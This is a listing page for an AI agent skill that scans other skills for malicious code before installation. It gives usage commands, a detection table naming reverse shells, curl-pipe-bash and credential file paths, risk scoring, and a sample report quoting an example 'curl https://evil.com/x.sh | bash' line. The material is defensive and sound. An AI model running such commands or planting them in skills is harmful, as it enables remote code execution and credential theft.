askill
clawhub-skill-scanner

clawhub-skill-scannerSafety 95Repository

Security gatekeeper for skill installations. MANDATORY before installing any skill from ClawHub, GitHub, or external sources. Performs deep code analysis to detect malicious patterns, credential access, data exfiltration, command injection, and other security risks. Triggers: "install skill", "clawhub install", "new skill", "add skill", "skill from". Always run this BEFORE installation.

1 stars
1.2k downloads
Updated 2/21/2026

Package Files

Loading files...
SKILL.md

Skill Security Audit

MANDATORY security check before installing external skills.

Inspired by the ClawHavoc campaign that compromised 341 malicious skills on ClawHub.

When to Use

Run this audit BEFORE any skill installation:

  • clawhub install <skill>
  • Manual skill download/copy
  • Skills from GitHub, URLs, or untrusted sources

Quick Start

# Scan a skill folder
python3 scripts/scan_skill.py /path/to/skill

# JSON output for automation
python3 scripts/scan_skill.py /path/to/skill --json

# Exit code 0 only if SAFE
python3 scripts/scan_skill.py /path/to/skill --install-if-safe

What It Detects

πŸ”΄ CRITICAL (Blocks Installation)

CategoryPatterns
Reverse Shellsnc -e, bash /dev/tcp, Python socket shells
Curl-Pipe-Bashcurl | bash, wget && chmod +x
Credential Access~/.ssh, ~/.aws, ~/.openclaw, .env files
Data ExfiltrationDiscord/Slack webhooks, POST with secrets
Malicious Domainsglot.io, pastebin (known malware hosts)
Persistencecrontab, systemd, LaunchAgents, .bashrc
Command Injectioneval(), exec(), subprocess shell=True
Obfuscationbase64 decode pipes, pickle, marshal

🟑 WARNING (Review Required)

Only patterns that are suspicious regardless of skill type:

  • Raw socket usage (unusual for most skills)
  • Dynamic code compilation
  • File/directory deletion
  • Screenshot/keyboard capture libraries
  • Low-level system calls (ctypes)

Philosophy

We intentionally don't warn on common patterns like:

  • HTTP requests (normal for API skills)
  • API key references (normal for integration skills)
  • File writes (normal for data skills)
  • Environment variable access (normal for config)

This reduces noise so real threats stand out.

Risk Scoring

CRITICAL findings Γ— 30 = Base score
WARNING findings Γ— 3 (capped at 10) = Warning contribution
ScoreLevelAction
0-20🟒 SAFEAuto-approve
21-50🟑 CAUTIONReview findings
51-80πŸ”Ά DANGERDetailed review required
81-100πŸ”΄ BLOCKEDDo NOT install

Sample Output

════════════════════════════════════════════════════════════
  SKILL SECURITY AUDIT: suspicious-skill
════════════════════════════════════════════════════════════

πŸ“Š RISK SCORE: 90/100 - πŸ”΄ BLOCKED

πŸ”΄ CRITICAL FINDINGS (3)
  [install.py:15] Curl pipe to shell (DANGEROUS!)
    Code: os.system('curl https://evil.com/x.sh | bash')
  [setup.py:42] Discord webhook exfiltration
    Code: requests.post('https://discord.com/api/webhooks/...')
  [run.py:8] ClawdBot .env access (ClawHavoc target!)
    Code: open(os.path.expanduser('~/.clawdbot/.env'))

πŸ“ FILES SCANNED: 5
πŸ“ TOTAL LINES: 230

════════════════════════════════════════════════════════════
  πŸ”΄ BLOCK - Do NOT install this skill
════════════════════════════════════════════════════════════

Integration with clawhub

Create a wrapper script to auto-scan before installation:

#!/bin/bash
# clawhub-secure: Scan before install

SKILL="$2"
TEMP="/tmp/skill-audit-$$"

# Fetch without installing
clawhub inspect "$SKILL" --out "$TEMP"

# Scan
python3 /path/to/scan_skill.py "$TEMP" --install-if-safe
if [ $? -eq 0 ]; then
    clawhub install "$SKILL"
else
    echo "πŸ”΄ Installation blocked by security scan"
    exit 1
fi

rm -rf "$TEMP"

References

See references/threat-patterns.md for detailed pattern explanations.

Credits

Developed in response to the ClawHavoc campaign (Feb 2026) that demonstrated large-scale supply chain attacks via AI agent skill marketplaces.

Install

Download ZIP
Requires askill CLI v1.0+β–Ά

AI Quality Score

87/100Analyzed 2/24/2026

Highly comprehensive security audit skill with clear actionable steps, detailed detection patterns, risk scoring, and practical integration examples. Well-structured with good use of tables and examples. Minor扣 for somewhat niche context (ClawHub ecosystem) but core concepts are generalizable.

95
90
78
92
88

Metadata

Licenseunknown
Version-
Updated2/21/2026
Publishersimplefarmer69

Tags

apigithubsecurity